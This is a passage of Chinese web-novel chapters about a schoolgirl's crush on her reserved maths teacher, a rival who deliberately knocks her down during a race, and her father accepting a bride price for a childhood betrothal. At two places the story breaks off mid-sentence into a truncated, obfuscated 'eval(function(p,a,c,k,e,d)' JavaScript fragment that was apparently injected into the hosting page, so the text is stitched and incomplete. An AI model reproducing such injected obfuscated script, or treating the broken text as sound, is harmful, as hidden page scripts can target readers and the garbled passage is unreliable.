赵栩换上了适合跳远的运动款短袖短裤,头发被盘成了丸子头,看起来青春靓丽。 虽然没有耽误检录,但她到的时候,已经是倒数第一个,正好听到老师在问: “0211来了吗?” 赵栩原本还担心被批评,听到再熟悉不过的声音,松了一口气,嘴角漾起不自知的笑容。 “到!”她快步跑到他的身前,朗声答道。 秦暮野持笔的手一顿,闻言抬眸看向赵栩,随后又低下头,面不改色地说: “把发卡摘一下。” 赵栩下意识用两只手覆在头发上,摸着一蓝一白两个鱼刺发卡,呆的可爱。 她缓缓摘下发卡,转身去寻熟人,却发现朱临清站在另一边的沙坑和熟人讲话,一时陷入了犹豫。 再转回来时,她的面前多了一只手。 “我先替你保管。”秦暮野把手掌摊开,等待着她的回应。 赵栩微微仰头,首先对上的是那双墨玉般的眸子,呼吸一顿。 “谢谢您。”她别开目光,把两只发卡放进他的手心里,明明没有碰到手,她却如同触电了一般,迅速背过身去。 不知怎的,她还没跳远,却像是先吃了几颗跳跳糖,步伐也随之轻盈了不少。 每班两名共二十四个女生,随机抽签分两边比赛,每边选出前三名,再进行比赛。 立定跳远是赵栩的强项,几乎稳定在一米九之上,所以稳进决赛。 依照往年,冠亚军基本上被艺体班的同学承包,她基本上就是保四争三,所以也没给自己太大的压力。 等到赵栩站在跳远的界线之后,她盯着要跳到的目标位置,开始活动手腕脚腕,让自己放松下来。 “加油。” 那人的声音虽然不大,却如电流般滤过她的耳膜,使她动作稍顿。 悸动的清风就这样绕过她的指尖,赵栩原本有些紧张,闻言呼吸一滞,顺势握住了染上那缕水生香。 她深吸一口气,目光蓦然坚定,手臂前后摆动,用直觉去找跳出的临界点。 接着,起身一跃,优美的身形在空中划过一道弧线。 一瞬间,她的扎头绳却松了。 待她落地时,长发如黑瀑散落,恰好太阳拨云,柔光将无瑕的脸轻轻捧起。 报数的同学连忙过去读数,当他看清了数字后,有些惊讶地抬起头。 “两米零三。” 此话一出,周围的学生都表现出了不同程度的感叹。 赵栩下意识扭头看向秦暮野,企图捕捉到一点类似惊喜的起伏,终究无果。 对方的表情毫无变化,只是点了点头,例行公事记录。 赵栩莫名烦闷,便别过脸去懒得看他,同时心想: 他是不是批作业的时候,都比记录她的得分有感情? 站在沙坑旁边的朱临清,为她的胜利鼓了鼓掌,开起了玩笑: “我找全班同学来给你加油,是不是能跳第一?” 赵栩还在低头寻找扎头绳,听到这话愣了愣,琢磨片刻,而后猛然反应过来。 阳光刚好不好地炙烤在脸上,她猛然转头,看向在统计成绩的那位,颇为气急。 我得第二名是发挥的好,关他加油什么事? …… 时值正午,气温褪去了初夏的假象,逐渐回归炎热的本质。 仅有的风动消失得无影无踪,热浪蔓延开来,看台上以班级为单位搭起了遮阳棚。 上午赛事结束,各班开始分发午餐,二班是统一订的快餐汉堡。 韩明月整整一个上午,都在操场参加跑步项目,100米的预赛,200米的决赛,还抽空去扔了个铅球,一身使不完的牛劲。 待她比完赛后,迫不及待想喝一口冰可乐了,故而加快脚步向看台走。 迎面撞上的,是她前些日子刚加到的高一小帅哥吴明恩。 韩明月认出了他,冲他挥舞着胳膊打招呼,“你好呀!” 吴明恩不认识这位热情的学姐,但出于礼貌,还是挤出个腼腆的笑容,点头回应。 “你刚才跑的真快,我都看到了。”韩明月对着帅哥,向来是不吝惜夸奖。 吴明恩后退一步,面对女生的自来熟,终归有点害羞,声音也变小了。 “谢谢学姐。” 阳光正烈,照在女孩明媚的轮廓上,汗水打湿了她的额发,白里透红的脸泛着光泽,有种吸引力十足的健康美。 逆光看去,他不由得微微愣怔,此刻的他,只有一个朴素的想法: 学姐的眼睛,很好看。 韩明月此刻肚子空空,日头又晒,只能暂时和小帅哥道别。 “拜拜。”她前一秒刚和小帅哥道别,下一秒转身时…… 就对上了一双阴沉的眸子。 “等一下。” 韩明月脚身形一晃,笑容凝滞在脸上,听到这个无比解暑的声音,下意识一哆嗦。 她不想和前男友有太多牵扯,装没听见,加快速度往前走,却被拦下。 柯明扬比她高了二十多公分,身形高大,压迫感十足,老鹰捉小鸡似的,轻易就能拦住她的去路。 韩明月白了他一眼,只想快点摆脱这个麻烦,冷声道:“你要干嘛?” 柯明扬轻笑一声,落在女孩的耳朵里讽刺意味十足。 他先面向吴明恩,虽是一言不发,其神情之阴冷,却无声宣告了他的不满。 千言万语,都化作一句无声的: 滚。 吴明恩以为他们是情侣,心里闷闷的,才送了几分的凡心,瞬间坠入谷底,只得识趣离开。 见无关人员离开后,柯明扬又换上一副笑脸,偏头凝视着韩明月的眼睛,语气是难得的温和。“你的生理期来了,没发现吗?” 韩明月与之对视,大脑一片空白,半张着嘴,神情呆滞。 她暗自算了算日子也该差不多了,却不由得疑惑,他是怎么知道的? 柯明扬掀起眼皮,眼底幽幽的笑意加深,然后把校服脱了下来,递给她。 “围上吧。” 韩明月即使反应慢了些,也终于意识到了什么,脸刷一下就红了。 “流氓吧你!谁没事盯着人家的裤子看!”她大着胆子,猛推了他一下,然后落荒而逃。 柯明扬没有准备,被使劲搡了一把,后退了两步才站稳。 他也不恼,只是直直地盯着那个慌乱的背影,眸中涌现出温情的戾色。 直到穿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵栩用胳膊拭去额头的汗,站到了起跑线上,挂着韩明月的号码牌,心里有些惴惴不安。 杀人不过头点地,她深吸一口气,安抚着紧张情绪。 虽然替跑是会取消成绩不假,但选手们就算看过参赛名单,可是参赛人数众多,也不会刻意去记谁来没来,号码和姓名更很少有人会去对应。 再者,裁判老师也认不全选手…… 她只能抱着侥幸心理,万一没被发现呢? 明明比赛都要开始了,可是裁判仍然没有到,学生们在烘烤之中本就煎熬,彼此交头接耳,纷纷催促起点处分发物资的体育部成员,让他们找个能拿主意的人来。 眼看不满越来越多,其中一人走了过来,手里掐着表,说:“老师不知道去哪里了,你们先跑吧。” 赵栩懵懵懂懂地上了跑道,随着发令枪响,赶鸭子上架般跟着大部队跑了出去,在大部队的中后方跟着跑。 倒不是她没有班级荣誉感,只是在这么炎热的天气下,她实在精神不佳,就只能摸鱼似的跑。 八百米的裁判老师临时有事,先斩后奏地跑了,等到秦暮野接到去替岗的消息时,学生们都跑出去了。 他一路小跑过来,看着谈笑风生的体育部学生,心里隐隐有不好的预感。 “你们点名了吗?”他问。 学生摇了摇头,讪讪笑道:“等他们跑完再点,应该也不迟……吧。” 秦暮野拧起眉头,沉声问:“有替跑的怎么办?有中途加入的怎么办?” 他自带不怒自威的气场,让几名学生不敢吭声,他们自知理亏,只能乖乖地等着发落。 所幸比赛刚开始不久,学生只跑了不到标准跑道的一半,秦暮野远眺一眼,记住了人数以及所有人的大致衣着特征。 可当他的视线移到那个纯白纤细的身影,不甚确定,下意识眯起了眼睛。 继而定睛一看,他十分确定,在跑步的人是赵栩。 进一步说,赵栩是在给韩明月替跑。 秦暮野轻声叹气,摇了摇头,有意把她记到小本本上。 这时人已经跑到了教学楼遮挡的阴影,也就是距起点最远的对角线处,许是进入阴凉的缘故,赵栩的步伐以肉眼可见的速度加快。 秦暮野在心里认真记下了这件事,先认真监督比赛。 就在这时,尽管相距很远,在视觉上她已然成为了一个点,可是他却看得真真的…… 一个红色的影子几乎与白色的影子相叠而过,待红衣女生超过之后,赵栩突然失去了重心,一个踉跄扑倒在地。 25. 四月物语(4) 赵栩迈着匀速的步子,不快不慢,却已经跑在了队伍的中前方。 阳光愈发浓烈,烤得人心烦意乱,起初跑在前面的几人,步伐逐渐慢了下来,赵栩的耐力又稳定,逐渐超过了几人,处于优势位置。 还有几步就要跑进阴影,她想要借着这片来之不易的阴凉回回血,故而提高了速度。 微弱的南风吹来,她逆着风大步向前,笔直修长的小腿迸发出力量,重心随之升高,可是脚还没落稳,肩膀被人使劲撞了一下。 赵栩加速时本来身形就不稳,被突然肘击,脚下步子随之错乱,上半身由于惯性向前倾倒,径直扑倒在地。 夏天的塑胶跑道像极了一块烧烤铁板,就算隔着鞋子都依稀能感觉到燥热,若是直接用皮肤接触,无异于徒手摸烫铁。 赵栩甚至能感受到,膝盖处传来钻心的疼痛,发焦发烫,杀得被灰尘伤口生疼,血肉似乎都要和胶地黏在一起。 假如刚被撞倒在地时,她抱有一丝希望,那人或许是无心的。 可当她挣扎着起身,逆光看向前面,始作俑者恰好也在往后看。 赵栩看得清楚,那人的嘴角,分别扬起了一抹轻蔑的笑。 这下基本实锤了,那女生就是恶意撞她! 怒火自她的心底腾地一下烧了起来,赵栩死死瞪着前方,愤怒化成红血丝,将她清澈的眸子浸透。 复仇的冲劲儿立马汇集到四肢,不过几秒的缓冲,她就即刻爬了起来,双腿奔涌着热血般,离弦而出。 看台上的观众不知道发生了什么,只是看着她跌倒后爬起,然后重获新生,飞奔向前,八百米跑出了短跑五十的气势。 青年学生对于有拼搏精神的选手,向来是十分尊敬的,他们短暂地惊讶了几秒,随后现场爆发出雷鸣般的掌声,打破班级的壁垒,纷纷为她呐喊。 操场上掌声雷鸣,气氛炒至制高点,人人似乎都在观赏选手间的角逐。 秦暮野却像是自成屏障,隔绝了热闹,凝视着自远处而来的赵栩,平静的眸中漾起一丝波澜。 她左膝上一抹鲜红,如同葬入雪中的梅花,很快染红了小腿的区域,望之令人心悸。 但偏偏是注定落尘的梅花,傲气逼人,偏要在寒地生根,扫却冬雪。 加速跑了小两百米,赵栩依旧没有减速的趋势,她像是一阵有脾气的风,目不斜视地掠过秦暮野身边,而后继续远去,完成她的最后一圈, 目光之坚决,直直刺入了那双桃花眼。 维持快速奔跑了三百米,赵栩却忘记了劳累,更感受不到膝盖处的流血疼痛,而是卯足了劲儿往前冲。 此时的赵栩想不起什么集体荣誉了,只想为自己争一口气,宛如一只倔强的小狼,目空一切,奔跑在她的荒野。 赛场上已经没有了她的对手,因为没人能如此不要命。 赵栩早就顾不得形象了,彼时双颊涨红,纷飞的发丝很快就黏在了脸上,多了几分野性,全然没有了起初的优雅。 但也许是出于直觉,她认为流血流汗的此刻,美过穿礼服的自己一万倍。 最后进入直道时,赵栩稳步奔跑,在一片欢呼声中,从容地冲过终点线,然后逐渐停下了脚步,退至一边。 没有向以往那样弯腰粗喘,若是只看到她冷静阴沉的表情,而非胸口剧烈的起伏,大概都不会知道她方才经历了什么。 而且在摔倒的不利条件下,越过数名选手,拿下了第一名。 赵栩平复了一会儿之后,斜视着将她故意撞倒的祸首,缓步走上前,将其与同学隔开,咬着后槽牙冷冷地盯着她,一言不发。 可偏偏那名长发女生没事儿人似的,一脸无辜地回望回去,然后看了看两侧,压低声音: “反正你替跑已经得了第一名,你不说我也不说。” 言外之意,她在威胁赵栩,如果赵栩告状,她就要说出替跑的事,取消其个人成绩。 赵栩哪里吃这一套,怒极反笑,火气直冒天灵盖,在众目睽睽之下,对长发女生大声喝道: “我就是替跑了怎么了?我就是用爬的,也比你这样没安好心的强上一万倍!” 待所有的选手都到达终点,秦暮野结束了掐表,也注意到了这边的争执,先嘱咐学生登记其他人的成绩,然后迈着大长腿快步走来。 其他班的学生不明情况,正好目睹两人的争吵,以两名女生为中心,身旁渐次围满了人。 长发女生眼里闪过刹那的心虚,便无辜说道:“明明是你自己跌倒的,非要赖别人。” 赵栩的脸本来就红,现下更是气得连脖子都通红,像是听到了天大笑话,无语地笑出了声。 “神经病。”她一时想不出更好的反驳之语,只能小声嘟囔表示不满。 这时围观者交头接耳,开始小声议论: “我当时就在她们身后跑,反正我没看见。” “你没看到不代表没有。” “可是疑罪从无,总不能听她一面之词……” “五班离二班就差一点点,赵栩自己替跑就算了,还想拉别的班下水……” 说起来,大家当时都在专注比赛,她被撞倒的地方又远离看台和观众席,更没有监控,该如何证明成了天大的问题。 强烈的无助感,忽然抽空了她的身体,莫名的心慌不止,让她陷入了孤立无援的阵地。 长发女生还想说什么,被秦暮野打断,他站到两人之间,以身高的优势先行隔绝了动手打架的可能。 秦暮野先面向赵栩,安抚对方:“有什么话慢慢说。” 他的语气沉静而有力,像是给赵栩吃了一剂定心丸,使女孩无能狂怒的心绪,慢慢平静下来,呼吸也不那么急促了。 她无条件相信,面前的人一定会还她一个公道。 赵栩在老师耐心引导的目光里,将被撞到的始末事无巨细,一字一句道来。 听完她的叙述之后,秦暮野点点头,随后转向另一人,问:“你有什么要补充的?” 还没等长发女生开口,他径直凝视着女生,目光肃然,有种说不出的威慑力。 “先说好了,如果有人说谎,就要承担相应后果。” 长发女生被盯的心神不宁,连忙别开目光,依旧嘴硬:“您是二班的任课老师,当然向着他们班!我撞还是没撞,都是你一句话的事。” 赵栩刚平复下去的怒火又冒了起来,唯有感叹这人带节奏的能力,实在一流。 她有些惴惴不安地抬起头,唯恐因为自己妨害到老师的名声。 围观的同学越来越多,舆论导向也开始发生变化。 “他一开始就是先问的自己班学生,是不是在拉偏架?” 秦暮野冷眼听着他们议论,看似在笑,笑意却在眼底消失。 待物议平息后,他神情依旧淡然,视线先是掠过面前女生,又瞥了一眼提出“拉下水”论的男生,再是扫视所有围观者。 “你,还有你,你们,都已经是高中生了。” “要为自己说过的话负责。” 毫无感情的声音中,听不出喜怒,却掷地有声,听得在场之人皆是一悚。 秦暮野伸手,示意学生递过成绩表,居然先把这件事搁在一边,先给这两人登记起了成绩。 他眉目疏冷,在围观的同学看来,冷静得过了头,天然没有拉偏架的嫌疑。 “0211,替跑取消成绩。” 秦暮野头不抬眼不睁,只记录成绩,沉稳的神色中不夹杂一丝情绪。 赵栩蓦地愣在原地,亮晶晶的眼里挂满委屈,很是不明白,他为什么不先行处理恶意撞她的人。 紧接着,秦暮野在成绩单上连划了两条线,眸光微冷。 “0505,恶意伤害其他选手,取消集体成绩。” 长发女生和她的同学很是不服,正要辩解,秦暮野微扬下巴示意,“你的这件衣服,应该是马海毛材质。” 赵栩和其他人一起,齐刷刷地望向长发女生,确实步入夏天还穿毛衣,还是显热的鲜艳正红色,实在比较罕见。 秦暮野绕道女生身后,继续说: “毛的质量不一,以及穿着年限不同,会直接导致掉毛情况不同。” “对于这种衣服呢,你可以时常用粘毛器滚一滚,不然掉毛比较严重。” 他不疾不徐地踱着步子,但就是不步入正题,让长发女生愈发心虚。 品着老师看似无关紧要的话,赵栩即刻不敢动了,两只胳膊绷直。 她认真观察着白短袖上的每一寸,终于在短袖的缝合处,寻到一根红色短毛,顿时眼前一亮。 “老师!我肩膀上有红色的毛!” 赵栩不禁提高声调,隐含了些喜悦,心境豁然开朗。 仔细一看,不止一根毛,还有其他细微的证据散落在不起眼的位置。 换言之,两人一定是发生肢体接触了,赵栩那件干净的白衣服上,才会有不属于自己衣服的纤维。 长发女生一时语塞,握起了拳头。 可能是别人衣服上的呢? 可能是风不小心刮到她衣服上的。 她当然还可以找很多借口,可是在对方犀利的注视下,顿觉压迫感十足,说不出话来。 秦暮野轻声叹气,虽然神情不见波澜,可是其中的不悦呼之欲出。 “你年纪还小,做错了事尚能弥补。” “可是德行坏了,谁也救不了你。” 接着他不再去看女生,眸子又触及了那抹醒目的鲜红,他的视线稍作停留,然后转身朝着诸位学生,“没事了就先回班吧。” 秦暮野本想抓几个乱说话的典型让他们当众道歉,奈何赵栩膝盖处的伤口需要处理,就先把人群驱散了。 待赵栩发现伤口簌簌往外冒血,才感觉到疼痛,她一瘸一拐走到老师面前,鞠了一躬,道:“谢谢老师。” “先等一下。” 他环视一圈找凳子无果,还是一个蓝衣女孩发现了伤员,贴心地拿了个塑料凳子过来。 赵栩连连摆手,有些受宠若惊:“谢谢你,不过我回班就行。” “你坐下吧,我帮你处理一下腿上的伤口。”蓝衣女孩打开手里的医疗包,见她还想再走,连忙把人按了回去,“你的伤口里有灰尘,夏天容易化脓。” “谢谢,谢谢。”赵栩连连对着女生致谢,拘谨地坐下,先前内心激荡的愤懑逐渐平息,取而代之的暖意流淌。 蓝衣女生观察了一下伤口,白净的皮肤表面被擦破一大片区域,显出了触目的青紫色,掀起的表皮之下可见血肉,清液混合着血液,鲜血中还布着点点碎沙 而血肉里,卡着一块小石子,不算大但处理起来有点棘手。 蓝衣女生简单处理了下伤口周边,可面对那颗嵌入的石子一犯了难,怕下手狠了,又不能任由石子卡在里面。 秦暮野注意到了她的为难,也同样看到了那个骇人的伤口。 “麻烦你了同学,让我来吧。”他轻声示意,然后半蹲下来,接过对方手中的镊子,却没有下一步动作。 赵栩故作无事,其实悄悄捏着衣角,一直在忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伤口处依然很疼,可是被棉签轻轻点过的时候,又疼又痒,隐秘的矛盾之下,是难言的心安。 “好了。”秦暮野处理完了伤口后,抬头叮嘱:“这两天就别碰水了。” 赵栩怔怔望着他,忘记了回应,一时间只弯眉笑着。 如果山泉有回响,此时一定落在她的眼里。 “老师,您以前帮别人处理过伤口吗?”她目光躲闪,一时间词不达意,没话找话。 却也好奇,除她之外,还有没有旁人有过这个待遇。 秦暮野回想片刻,垂下眼睑,错开了尘世的眸光。 “家里的猫去年腿伤了,帮它处理过。” 女孩纯稚的脸上展露笑颜,难得大着胆子追问:“那……您家的猫叫什么?” “木头。” 秦暮野站起身来,眼眸无波,恢复了一贯的冷淡,言语中比“木头”这两个字本身更没感情。 赵栩心想他这不就是在自我介绍? 然后尬笑了一声,点点头,“挺合适的。” 秦暮野看到赵栩的朋友们来了,不再多留,本想再嘱咐些什么,欲言又止,最后转身走远。 望着他离去的身影,赵栩报复似的抓了一把那人被阳光拉长的影子,然后即刻丢掉。 心本随着风动,却被那份突如其来的疏离扼杀于微末。 …… 看台之上,韩明月等了赵栩许久都没等到,于是赶紧跑下去找人,正好碰到了徐仲仪,两人一同前往。 他们走到跑到内侧,与秦暮野擦肩而过,韩明月同他问了声好,而对方勉强笑了笑应答,就急匆匆离开了。 韩明月不经意扫视,注意到他手上沾着鲜血,疑惑且心惊。 可当她正要和旁边人说话时,却感受到了一阵前所未有的低气压。 “你怎么了?”韩明月用手在他跟前晃了晃,见他一直盯着秦老师离去的背影,愈发不解。 徐仲仪敛去眼底的冷戾,面无表情摇摇头,阔步朝前走去,在其身后的韩明月一脸发懵。 徐仲仪不仅不近视,而且视力好得可怕。 方才赵栩低眉望着秦暮野时,毫不掩饰眼神里的笑意。 而这么炙热的目光,让他嫉妒。 …… 下午的热风终究是吹到了午夜,赵栩枕着白天的回忆,片段连成影像,清晰地浮现在她的眼前,令其辗转反侧,难以入眠。 尤其是那沉稳好听的声音,字字句句,像是击鼓传花,那人执锤,却把花不负责任地丢给了她。 不知道翻第几个身时,赵栩立刻坐了起来,拿起手机,打开久未点开的红豆app,找出与秦暮野的聊天页面。 两人都不是留恋网络的人,对于彼此来说,网友也只是个可有可无的存在,因缘而聚,散也没什么可惜的。 尤其是赵栩得知对面的人是现生的数学老师,于是天然产生了距离感。 他们的上一条消息,还停留在几个月前,那时她还在“指桑骂槐”,内涵他作业布置的太多。 可转眼间就物是人非,她如今大半夜盯着手机,打字的两根手指悬在半空,心绪难平。 赵栩盯着他的猫猫头像,点开大图,是一只特别萌的蓝金渐层,那想必就是他养的“木头”。 猫猫长着这么一双圆溜溜的大眼睛,像是黑葡萄,任谁见了都忍不住直呼可爱,小小的一只像是糯米团子,与名字实在格格不入。 她被这只大眼猫猫可爱到了,默默保存了照片,忽然心情释然不少。 毕竟她很难相信,生性冷淡的他,居然有闲情逸致去养一只水灵灵的小猫咪。 26. 四月物语(5) 运动会是周五举办的,所以周六不用去上自习,是难得双休日,姐妹三人组相约来到商业街。 她们的目标,是一家并不起眼,但评价很高的饭点。 起初步入商业街时,还是人声鼎沸,逆着人潮而动,三人甚至要竖成一排躲避成群的人。 在韩明月的带领下,七拐八拐,逐渐拐入了商业街的边缘地区,周遭的建筑也呈现由新到旧的趋势,终于在一个“人迹罕至”的角落里,它停住了脚步。 褪色的门头、古朴的外观……这家饭店只是看起来比较平平无奇。 推门而入后,确实与外面截然相反的热闹,店内生意异常火爆。三人找到一张靠墙的桌子,坐了下来。 赵栩少来藏于城区角落的餐馆吃饭,下意识对卫生条件产生怀疑,不过环视一周,还算干净卫生。 店内没有过重的油烟味,若有若无的海鲜鲜味儿占据上风,让人心生好感。 “它家的海肠捞饭,可好吃了!”韩明月坐下后,就乐呵呵地拿起手机点单。 朱临清刚喝了一口水,就憋了回去,差点咳出来,压着嗓子说: “你们吃吧,我吃韭菜就恶心。” “海肠配韭菜,更恶心了。” 韩明月刚想阴阳两句,赵栩就学着她平日的腔调,捏着嗓子:“不懂海肠捞饭多好吃的人有难咯~” “学人精!”韩明月扭头轻弹了个脑瓜崩。 赵栩正抬手躲避,朋友的表情,却肉眼可见的僵硬下来,再顺着她的视线去看…… 距离她们一个过道的斜前方,是数学老师,而他的对面坐了一位面容姣好的美女。 “我的天哪我的天哪!”韩明月像是发现了惊天大八卦,捂着嘴惊讶。 她晃着赵栩的胳膊,却没有注意到其近乎呆滞的神情。 赵栩垂下眼眸,暗自握紧了水杯,并不应答,仿佛与她无关。 韩明月则继续抻着脑袋观察,不禁啧啧感叹:“咱秦老师闷声干大事,女朋友长这么好看!” “不一定是男女朋友吧。”朱临清头不抬眼不睁点着单,却在抬眸时注意到了赵栩的异样,但并不点破。 斜前方的两人,其实并没有过多的交谈,秦暮野神色淡然,低头翻阅菜谱,女生则是一直在操作手机,偶尔才会说上一两句话。 赵栩抿了一口柠檬水,面无表情,任由柠檬核硌着她心底留存的回忆,忍不住胡思乱想起来: 他都二十五岁了,有个女朋友岂不是再正常不过。 或许还谈过一任两任三任呢…… 秦暮野刚在她心中建立起来的良好形象,忽然矮了一截。 “不对啊,他俩很明显不熟,应该不是情侣。” 朱临清收回目光,开始推测:“你们看秦老师的态度,也没什么特别的,怎么可能是女朋友?” 在她看来,秦老师看向对面小姐姐的眼神,比看见韩明月那张不及格的数学卷子还冷漠。 不过她没好意思说。 韩明月眨眨眼,不甚肯定:“不能吧,秦老师看谁都是不冷不热的……” 赵栩不想在乎他谈没谈,谈过几个,只是默默地低头选菜,报复式点单:鲅鱼、黄花鱼、虾仁、墨鱼、海胆锅贴凑了一大盘…… 此时另一桌的两人,因为不是很熟,对桌呈对角线而坐,女生感到十分为难,只能用看手机掩饰窘迫。 秦暮野倒不觉得尴尬,属于见人说人话的典范,和谁都不熟,但和谁都不刻意疏远。 “学长,真的对不起,我再催催关叙川,他太不像话了!” 罗莺焦急且惭愧,都把手机键盘敲冒烟了,都没等到男朋友来。 秦暮野是关叙川的研究生阶段的直系学长,可能是看学弟懵懵懂懂的,也不会来事,有毕不了业的风险,他明里暗里给予过不少帮助。 就连让学弟避开数学换去竞争较少的生物教师编,也是他建议的。 关叙川为了表达对学长的感激,非要请他吃饭,对其掏心掏肺知无不言,连自己交了女朋友也要告诉学长一声,弄得秦暮野有些哭笑不得,又不好拒绝,只好答应。 秦暮野礼貌点头,“没关系,不用催他,万一在开车也不安全。” 罗莺不好意思笑笑,心想她那个男朋友连倒车入库都倒不明白,驾照也没考出来,开车太难为他了。 “对不起对不起对不起。” 一个笨拙惶恐又熟悉的声音在两人身后响起,他们同时侧头向外看去,发现了正在和人道歉的关叙川。 秦暮野并不近视,凝眸一看,发现了其中另一个熟悉的人,随后拆开湿巾,无意识地擦手。 垂下的睫毛,浓密如羽,却有意指向那人手腕处,被水浇下后,泛着青绿的亮色。 原来是匆匆而来的关叙川,不小心撞到了别桌的杯子,水洒在了别人的手上。 而受害者,正是赵栩。 前一秒,赵栩还在低头看着手机,忽觉手腕一凉,然后眼睁睁地看着水杯倾倒,小半杯柠檬水洒在了手腕处。 还好杯子里只剩了小半杯水,朱临清眼疾手快,用纸巾擦干。 “对不起对不起!”男子就连道歉都一惊一乍的,直接冲她们鞠了个九十度的躬,头都差点磕在桌子上,弄得赵栩有点受宠若惊。 “没事没事。”赵栩摇头笑笑,接过纸巾擦擦手,然后起身去处理沾到手链上的柠檬。 她借力站起的瞬间,“不经意”望向斜前方的那双桃花眼。 一潭清池好似被云雾半遮半掩,明知有人意图拨开轻纱,却不予回应。 没有坐实对面的小姐姐不是他女朋友,那也就是说有可能是。 赵栩移开视线,嘴角微微下翘,走向洗手池时,顺便捏碎了滑向手心的柠檬果粒。 柠檬水冲刷过手链后,浅绿色的葡萄石,接受了水的滋养,焕发清新的光泽。 赵栩不知不觉就走到了洗手池前,再度抬眼看着镜子里的自己。略显愁绪的眉眼,紧抿的嘴唇,不禁有些懊恼: 今天明明穿得那么漂亮,可不能为了那些虚无缥缈的事烦恼,真是掉价! 她恨恨地想。 她对着镜子,整理了一下衬衣领,那件天蓝色衬衣短袖更加熨帖,既简约又衬得她肤色清透,元气休闲。 洗手台的镜子正对着窗户,玻璃窗外是并不繁华的街区,而甜品店和鸡排店的空隙之间,有两名男性。 镜子被擦的锃明瓦亮,所以映出窗外的一幕分外清晰: 其中一个中年男子半倚着墙,单手夹烟,另一个稍微矮些的少年,同对方说了什么,就蹦蹦跳跳地跑远了。 赵栩死死地盯着镜子,仔细确认那两人的身份,笑容随即消失。 眼中的波纹震荡了几个来回,调动着她全身上下的细胞为之警惕,她的手指不受控地抖动着,手链上的配饰因碰撞发出响声。 一下两下,将她好不容易建立起的安全感,尽数打碎。 赵栩深吸一口气,平复着心底的恐慌,心脏却跳得越来越快。 这份恐慌看似贸然生长,其实早就深埋地下已久。 她最害怕的事,还是发生了。 …… 一直躲避终究不是办法,赵栩稍微冷静下来后,先给朋友们发消息,谎称遇见了熟人去叙旧,让她们先吃,自己则出去单刀赴会。 其实,用“熟人”这个词也不算撒谎。 因为在对街正叼着香烟的,就是她的亲爸,孙浩然。 这个名字是挺大众的,但是这个人却挺有个性的,性格古怪孤僻,就算欠别人钱都像债主。 长相还算周正,只是眉间总有一股挥之不去的戾气,加上劳改犯似的寸头,一副很不好惹的样子。 他的学历不高,初中肄业,很早就掌握了各种谋生手段,常年游走于灰色领域。 赵栩时常怀疑,她爸是为了要面子,才骗她说上过初中。 她学龄前在家自学英语时,孙浩然总强调英文有25个字母,弄得8岁上学的小赵栩,第一天上英语课就被人笑话。 “爸。” 赵栩缓缓走近对方,强装镇定,左顾右盼了一番,确定另一个人已经不在,才勉强放下惴惴不安的心。 孙浩然见到女儿,略微有些惊讶,然后把烟头按到墙上,嗯了一声。 父女两人一言不发,一个往巷子深处看,一个静观街上的喧嚣,心照不宣。 赵栩对爸爸的情感其实很复杂,说不爱是假的,说不怨也是假的。 没有他,她在那个险象环生的大山里,未必能平安无忧地长到青春期; 没有他,她的妈妈就不会过得如此痛苦,人生最美好的年华遭人强迫,用尽全力才从泥沼中重新爬起。 直到看到朋友发来的消息,赵栩才回过神来,深深叹了口气,仿佛抽空了全身的气力。 “他怎么来了?”她睨了一眼男孩远去的方向,平静的外表下,压抑着怨气。 当年她所居住的山区,仍保留了一些不太开化的习俗,比如娃娃亲。 而刚才和她爸爸站在一起的男孩,就是她的娃娃亲,赵晋。 赵栩本以为,一切从她离开大山的时候,就应该结束了。 可是能想到,那些阴霾如影随形,似要纠缠她一生一世。 孙浩然把烟头扔在地上,满眼烦躁,哑声说:“我劝不住他,他非要来找你,说是要等你高三毕业后结婚。” 对此荒谬的发言,赵栩简直无语到了极点,难言的愤懑堵在胸腔,唇角不受控制地上扬,按耐着怒火质问: “你还是我亲爸吗?你这这么把我卖了?你是不是收他们家钱了?” “他不正常,你也没好到哪里去!” 孙浩然仍是那副宠辱不惊的表情,叹口气说:“最近做生意出了点问题,需要钱周转。他们家给了我五十万的彩礼,我没全要,留下的算是我借的。” 眼见父亲承认,她不由得悲从中来,冷笑一声,“不找我妈了你又找别人了是吗?” “你缺钱就可以卖我?才五十万就能让你卖女儿?” 人悲伤到极致,是哭不出来的,此刻赵栩只觉眼部干涩,连眨眼都是疼的,像被火烧似的,根本流不出眼泪。 孙浩然不再辩解,看向女儿左手腕的链子,出自父亲的直觉,扬扬下巴问:“男生送的?” 赵栩自嘲般的笑了笑,生气到只剩下笑了。 她心想,她亲爸不就是这么个人吗,永远不内耗,批判他像是一拳打到了棉花上,对方不仅毫无悔意,还总能若无其事地转移话题。 总言之,拿这种厚脸皮的人一点办法都没有。 “是。”她用右手抚上手链,相触的刹那,仿佛闻到了令人安心的薄荷香气,她的心情骤然间平静不少。 因忧愁而皱起的眉头,慢慢浸染了放松的弧度。 “你自己看着办吧,别被人骗了就行。”孙浩然冲女儿点点头,然后转身离开,却又想到什么,转了回来。 “你妈谈恋爱了,你知道吗?” 虽然是意料之中的事,但真正得知后,头上悬着的石头,正中眉心,砸了赵栩个措手不及,她木木地摇摇头,不太能接受这个事实。 孙浩然打开手机,没有发觉到女儿的不自然,亦或是故意的,找出照片摆到女儿眼前,有点不屑地说: “这是她们集团老总的儿子,看着就像花花公子。” 赵栩心烦归心烦,到底还是好奇,瞟了一眼手机,将对方的容貌记了个差不离。 照片中的男子带着墨镜,穿着花衬衫,约莫二十岁出头,阳光帅气,但不像花花公子,相反有点憨憨的傻气。 “比你强。”赵栩收回目光,不耐烦地说。 “你告诉赵晋,让他别来找我,不然……”她顿了顿,在对方犀利的注视之下,眼神愈发坚定,大着胆子对视回去,威胁道: “我就对他不客气。” 孙浩然点点头,开始贼喊捉贼,附和道:“我看行,找你男朋友打他一顿,说不定就老实了。” 日头渐高,烈日照在高墙之上,把他们罩进一方阴影里,而赵栩头顶落下阴凉的那刻,心里陡生恶寒,下意识后退一步,走回阳光之下。 